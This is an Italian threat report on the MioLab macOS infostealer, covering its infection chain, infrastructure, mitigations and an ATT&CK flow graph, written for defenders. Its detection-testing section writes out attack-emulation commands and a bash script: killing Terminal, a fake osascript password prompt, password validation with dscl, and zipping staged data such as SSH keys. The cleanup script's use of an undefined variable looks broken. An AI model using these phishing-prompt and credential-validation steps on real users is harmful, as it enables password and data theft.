SOC Prime Bias: Medio

30 Mar 2026 15:41

Di’ il mio nome: come MioLab sta costruendo un impero di MacOS Stealer

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Di’ il mio nome: come MioLab sta costruendo un impero di MacOS Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

MioLab è un infostealer macOS distribuito commercialmente, mirato a vittime di alto valore come ingegneri del software, dirigenti e investitori in criptovalute. Si diffonde tramite malvertising e una catena di infezione ClickFix, quindi avvia un compatto binario basato su C che ruba credenziali del browser, registri del gestore di password, file dei portafogli di criptovalute, e dati del Portachiavi di macOS. Le informazioni rubate vengono memorizzate in una directory temporanea, compresse in un archivio ed esfiltrate con una richiesta POST di curl verso un dominio malevolo. L’operazione include anche un pannello di controllo web, supporto proxy e accesso API su misura per grandi gruppi di criminalità informatica.

Indagine

Il rapporto delinea le caratteristiche statiche del malware, il comportamento in esecuzione e l’ampia gamma di fonti dati mirate, tra cui Chrome, Firefox, Safari, Telegram, Discord, Note di Apple e applicazioni di portafogli hardware. L’analisi delle infrastrutture punta a un hosting blindato in Russia, rotazione ripetuta dei domini e un backend condiviso collegato a un’operazione di phishing di token-airdrop Web3. Gli investigatori hanno anche estratto indicatori chiave come linee di comando, percorsi delle cartelle temporanee e URL di esfiltrazione.

Mitigazione

I difensori dovrebbero addestrare gli utenti a riconoscere i falsi prompt delle credenziali, monitorare l’abuso di binari inclusi come dscl, osascript, e curl, bloccare domini malevoli noti, imporre la firma del codice e limitare l’accesso ai dati del profilo del browser e ai file del Portachiavi. La logica di rilevamento dovrebbe anche concentrarsi sui modelli di esecuzione del processo del malware e sul comportamento di staging degli archivi sotto /var/folders.

Risposta

Se MioLab viene rilevato, isolare il Mac infetto, catturare la memoria volatile e gli artefatti del filesystem, bloccare i domini C2 e IP correlati, revocare le credenziali esposte e le chiavi dei portafogli di criptovalute, e eseguire una revisione forense completa di tutte le localizzazioni dei dati target. Il contenuto del rilevamento degli endpoint dovrebbe essere aggiornato con le linee di comando osservate, e i team dovrebbero cacciare catene di infezione simili nell’ambiente.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Malware node malware_miolab["<b>Malware</b> – <b>Nome</b>: MioLab Infostealer<br/><b>Descrizione</b>: infostealer macOS multi-stage"] class malware_miolab malware %% Initial Access initial_access["<b>Azione</b> – <b>T1204.002 Esecuzione Utente</b>: La vittima apre un DMG dannoso o un eseguibile Unix consegnato tramite ingegneria sociale"] class initial_access action %% Execution execution_unix_shell["<b>Azione</b> – <b>T1059.004 Shell Unix</b>: Il payload esegue comandi shell tramite sh, system e AppleScript"] class execution_unix_shell action %% Defense Evasion defense_evasion["<b>Azione</b> – <b>T1564.011 Nascondere Artefatti</b>: Termina Terminal, rimuove gli attributi di quarantena e applica l’offuscamento delle stringhe XOR (T1027)"] class defense_evasion action %% Discovery discovery_info["<b>Azione</b> – <b>T1589 Raccolta Informazioni Host Vittima</b>: Utilizza <code>system_profiler</code> per raccogliere dettagli hardware e OS"] class discovery_info action %% Credential Access credential_access["<b>Azione</b> – <b>T1056 Acquisizione Input</b> e <b>T1555.001/002 Dumping Credenziali</b>: Mostra un falso dialogo con password nelle Preferenze di Sistema tramite AppleScript, convalida con dscl, effettua il dump dei file del Portachiavi ed estrae database del browser, cookie e token di sessione"] class credential_access action %% Collection collection_staging["<b>Azione</b> – <b>T1074.001 Staging dati locali</b> e <b>T1560 Archivio Dati Raccolti</b>: Raccoglie file, note e portafogli di criptovalute, li memorizza in directory temporanee e li comprime in un archivio ZIP"] class collection_staging action %% Exfiltration exfiltration_curl["<b>Azione</b> – <b>T1041 Esfiltrazione via Canale C2</b> e <b>T1102.003 Protocolli Web</b>: Carica l’archivio ZIP tramite <code>curl</code> POST a un servizio web malevolo"] class exfiltration_curl action %% Command and Control c2_proxy["<b>Azione</b> – <b>T1090.002 Proxy</b> e <b>T1659 Iniezione Contenuti Dinamici</b>: Il traffico viene instradato attraverso server proxy controllati dall’attaccante e domini di iniezione"] class c2_proxy action %% Tool nodes tool_applescript["<b>Strumento</b> – <b>Nome</b>: AppleScript<br/><b>Scopo</b>: Mostra UI di richiesta delle credenziali"] class tool_applescript tool tool_dscl["<b>Strumento</b> – <b>Nome</b>: dscl<br/><b>Scopo</b>: Convalida le credenziali catturate"] class tool_dscl tool tool_curl["<b>Strumento</b> – <b>Nome</b>: curl<br/><b>Scopo</b>: Invia l’archivio raccolto al server remoto"] class tool_curl tool tool_system_profiler["<b>Strumento</b> – <b>Nome</b>: system_profiler<br/><b>Scopo</b>: Recupera informazioni di sistema"] class tool_system_profiler tool %% Connections showing the attack flow malware_miolab –>|consegna| initial_access initial_access –>|innesca| execution_unix_shell execution_unix_shell –>|abilita| defense_evasion defense_evasion –>|permette| discovery_info discovery_info –>|fornisce dati a| credential_access credential_access –>|usa| tool_applescript credential_access –>|usa| tool_dscl credential_access –>|porta a| collection_staging collection_staging –>|comprime e memorizza| exfiltration_curl exfiltration_curl –>|usa| tool_curl exfiltration_curl –>|invia dati a| c2_proxy c2_proxy –>|instrada attraverso| tool_curl %% Styling assignments class initial_access,execution_unix_shell,defense_evasion,discovery_info,credential_access,collection_staging,exfiltration_curl,c2_proxy action class tool_applescript,tool_dscl,tool_curl,tool_system_profiler tool class malware_miolab malware "

Flusso di attacco

Esecuzione di simulazione

Prerequisito: Il Controllo Prevolo di Telemetria e Baseline deve essere passato.

Motivo: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.

  • Narrazione dell’attacco e Comandi:

    1. Terminare la sessione Terminale dell’utente – Il malware disabilita prima il prompt dei comandi standard per costringere l’utente in un flusso UI controllato.
      killall Terminal
    2. Presentare un falso prompt delle credenziali – Utilizzando osascript, l’attaccante mostra un dialogo AppleScript che imita un avviso di impostazioni di sistema, inducendo l’utente a inserire la propria password.
      osascript -e 'display dialog "Devi configurare le impostazioni di sistema prima di eseguire questa applicazione." default answer "" with hidden answer'
    3. Convalidare le credenziali raccolte – La password catturata viene verificata con il servizio di directory locale con dscl . -authonly. Una restituzione riuscita conferma che la credenziale è corretta.
      dscl . -authonly "$USER" "$HARVESTED_PASSWORD"
    4. Preparare e comprimere il payload di esfiltrazione – L’attaccante archivia i dati raccolti (es. ~/.ssh/id_rsa) in un archivio zip usando ditto, preparandolo per il caricamento.
      ditto -c -k --sequesterRsrc /var/folders/*/DataStaging /tmp/exfil.zip
  • Script di Test di Regressione: (Bash – esegue la sequenza esatta per attivare la regola)

    #!/usr/bin/env bash
    set -euo pipefail
    
    echo "[*] Avvio simulazione MioLab..."
    
    # 1. Eliminare Terminale
    echo "[+] Eliminazione Terminale"
    killall Terminal
    
    # 2. Falso prompt di AppleScript (simulato – nessuna interazione utente)
    echo "[+] Visualizzazione falso prompt delle credenziali"
    osascript -e 'display dialog "Devi configurare le impostazioni di sistema prima di eseguire questa applicazione." default answer "" with hidden answer' >/dev/null 2>&1
    
    # 3. Verifica delle credenziali (usando l'utente corrente e una password fittizia)
    echo "[+] Verifica delle credenziali raccolte"
    HARVESTED_PASSWORD="P@ssw0rd!"   # In uno scenario reale questa sarebbe la password rubata
    dscl . -authonly "$USER" "$HARVESTED_PASSWORD" || true   # ignorare il fallimento per dimostrazione
    
    # 4. Staging dati e compressione
    echo "[+] Compressione dei dati messi in staging"
    STAGING_DIR=$(mktemp -d)
    echo "dati di esempio" > "$STAGING_DIR/sample.txt"
    ditto -c -k --sequesterRsrc "$STAGING_DIR" /tmp/exfil.zip
    
    echo "[*] Simulazione completata. Controllare SIEM per avviso."
  • Comandi di Pulizia: (Rimuove gli artefatti generati e ripristina la sessione)

    #!/usr/bin/env bash
    set -euo pipefail
    
    echo "[*] Pulizia degli artefatti della simulazione MioLab..."
    
    # Rimuovere l'archivio zip falso
    rm -f /tmp/exfil.zip
    
    # Rimuovere la directory temporanea di staging se esiste
    [[ -d "$STAGING_DIR" ]] && rm -rf "$STAGING_DIR"
    
    # Opzionalmente riavvia Terminal per l'utente
    open -a Terminal
    
    echo "[*] Pulizia completata."